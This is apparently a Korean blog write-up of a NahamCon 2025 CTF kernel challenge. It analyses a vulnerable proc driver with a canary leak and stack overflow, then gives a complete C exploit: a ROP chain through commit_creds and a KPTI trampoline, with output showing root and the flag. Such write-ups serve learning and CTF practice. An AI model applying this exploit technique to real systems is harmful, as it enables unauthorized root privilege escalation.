Kernel Exploit/Exercise
kernel exploit / NahamCon 2025 CTF - The jumps
wyv3rn
2025. 5. 30. 22:03
728x90
반응형
1. intro
얼마전 열렸던 nahamcon에서 kernel exploit 문제가 나왔다.
그냥 쫄아서 던졌는데, 아무래도 열받아서 커널 익스 공부를 통채로 다시 해버림.
2. code 및 분석
2.1. code
2.1.1. proc_read
ssize_t proc_read(file *file,char *buf,size_t count,loff_t *ppos)
{
long lVar1;
int iVar2;
long in_GS_OFFSET;
char tmp [32];
lVar1 = *(long *)(in_GS_OFFSET + 0x28);
if (0x400 < count) {
printk(&DAT_00100315);
}
__memcpy(proc_data,tmp,count);
iVar2 = _copy_to_user(buf,proc_data,count);
if (iVar2 == 0) {
iVar2 = (int)count;
}
if (lVar1 == *(long *)(in_GS_OFFSET + 0x28)) {
return (long)iVar2;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
값을 user에게 전달한다.
tmp size가 32이나, 0x400 이하로는 모두 복사해주기 때문에 이를 이용해 leak이 가능하다.
2.1.2. proc_write
/* WARNING: Unknown calling convention */
ssize_t proc_write(file *file,char *buf,size_t count,loff_t *ppos)
{
long lVar1;
int iVar2;
long in_GS_OFFSET;
char tmp [32];
lVar1 = *(long *)(in_GS_OFFSET + 0x28);
tmp[0] = '\0';
...
tmp[0x1f] = '\0';
if (count < 0x400) {
iVar2 = _copy_from_user(proc_data,buf,count - 1);
if (iVar2 == 0) {
__memcpy(tmp,proc_data,count);
proc_data[count] = '\0';
}
else {
count = 0xfffffffffffffff2;
}
}
else {
printk(&DAT_00100398,count,0x400);
count = 0xffffffffffffffea;
}
if (lVar1 == *(long *)(in_GS_OFFSET + 0x28)) {
return count;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
tmp를 초기화하고, 마찬가지로 값이 0x400보다 작으면 커널 영역에 값을 쓴다.
즉 overflow가 가능하다.
단, __stack_chk_fail, 즉 canary가 존재한다.
2.2. 분석
위 코드 영역과 더불어 init 파일은 아래와 같다.
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t 9p -o trans=virtio,version=9p2000.L,nosuid hostshare /home/ctf
#for f in $(ls *.ko); do
# insmod $f
#done
sysctl -w kernel.perf_event_paranoid=1
cat <<EOF
Boot took $(cut -d' ' -f1 /proc/uptime) seconds
Welcome to the lost and found store! Please look around to see if you can find the key to the flag.
EOF
mkdir /home/user
adduser user -D
chmod 600 /flag
chown 0.0 /flag
insmod thejumps.ko
#su user
su root
#exec su -l ctf
원활한 분석을 위해 마지막 su user를 su root으로 수정하였다.
run.sh는 아래와 같다.
#!/bin/bash
read -p "Enter the link to your exploit binary: " link
wget $link -O exploit
chmod 777 ./exploit
sleep 1
cp ./exploit ./fs/exploit
pushd fs
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz
popd
qemu-system-x86_64 \
-snapshot \
-kernel /home/ctf/bzImage \
-smp cores=1,threads=1 \
-initrd /home/ctf/initramfs.cpio.gz \
-append "console=ttyS0 debug earlyprintk=serial oops=panic nokaslr smap smep selinux=0 tsc=unstable net.ifname
s=0 panic=1000 cgroup_disable=memory" \
-net nic -net user,hostfwd=tcp::${SSH_PORT}-:22 \
-nographic \
-m 128M \
-monitor none,server,nowait,nodelay,reconnect=-1 \
-cpu kvm64,+smap,+smep \
2>&1
cpu로 kvm64를 쓰고, nopti 언급이 없기에 적용되어있다.
더불어 smap, smep 또한 적용되어있다.
따라서 아래의 방법을 사용할 수 있다.
2023.09.10 - [Kernel Exploit/Theory] - Kernel - KPTI 우회
Kernel - KPTI 우회
서론 KPTI는 유저 영역에서의 보호기법에는 없는 보호기법이다. 요약하자면, 커널 - 유저공간 간의 전환 시 최소한의 커널 주소만 포함하는 것이다. 이에 커널에서 유저공간으로 넘어갈때는 상관
wyv3rn.tistory.com
3. 취약점 확인 및 공격 준비
3.1. 취약점
kernel bof
3.2. 공격 준비
위에 모든 것을 다 설명해버렸다.
나머지는 gadget들만 적절히 구하면 된다.
4. exploit
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int kbuf_size = 32;
int global_fd;
void open_dev()
{
global_fd = open("/proc/shellcode_device", O_RDWR);
if (global_fd < 0)
{
puts("[!] Failed to open device");
exit(-1);
}
else
{
puts("[*] Opened device");
}
}
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(void)
{
__asm__ __volatile__(
"mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] Saved state");
}
void print_leak(unsigned long *leak, unsigned n)
{
for (unsigned i = 0; i < n; ++i)
{
printf("%u: %lx\n", i, leak[i]);
}
}
unsigned long leak;
void leak_addr(void)
{
unsigned long arry[kbuf_size/8];
memset(arry,0,sizeof(arry));
read(global_fd, arry, sizeof(arry));
leak = arry[3];
printf("[*] Leak: %lx\n", leak);
}
void get_shell(void)
{
puts("[*] Returned to userland");
if (getuid() == 0)
{
printf("[*] UID: %d, got root!\n", getuid());
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
execve("/bin/sh", argv, envp);
}
else
{
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
unsigned long user_rip = (unsigned long)get_shell;
unsigned long swapgs = 0xffffffff81c00eaa; //popf
unsigned long iretq = 0xffffffff81023cc2;
unsigned long rdiret = 0xffffffff81001518;
unsigned long rcxret = 0xffffffff81065913;
unsigned long rdiraxret = 0xffffffff8101c07b;
unsigned long prepare_kernel_cred = 0xffffffff810881d0;
unsigned long commit_cred = 0xffffffff81087e90;
unsigned long tramp = 0xffffffff81c00a45;
void exploit()
{
unsigned long payload[kbuf_size/8+20];
int offset = 4;
payload[offset++] = leak;
payload[offset++] = 0;
payload[offset++] = rdiret;
payload[offset++] = 0;
payload[offset++] = prepare_kernel_cred;
payload[offset++] = rcxret;
payload[offset++] = 0;
payload[offset++] = rdiraxret;
payload[offset++] = commit_cred;
payload[offset++] = tramp;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = (unsigned long)get_shell;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
write(global_fd, payload, sizeof(payload));
puts("[!] Error while exploit");
}
int main(void)
{
save_state();
open_dev();
leak_addr();
exploit();
puts("[!] Error after exploit");
return 0;
}
/ $ id
uid=1001(user) gid=1001 groups=1001
/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ ./payload
[*] Saved state
[ 15.028631] Proc device opened
[*] Opened device
[*] Leak: c915d6126b9e1200
[*] Returned to userland
[*] UID: 0, got root!
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0
/ # cat flag
flag{test1337}
이렇게 쉽게 풀 수 있는걸... 대회때는 쫄아서... 괜히 던졌다.
728x90
반응형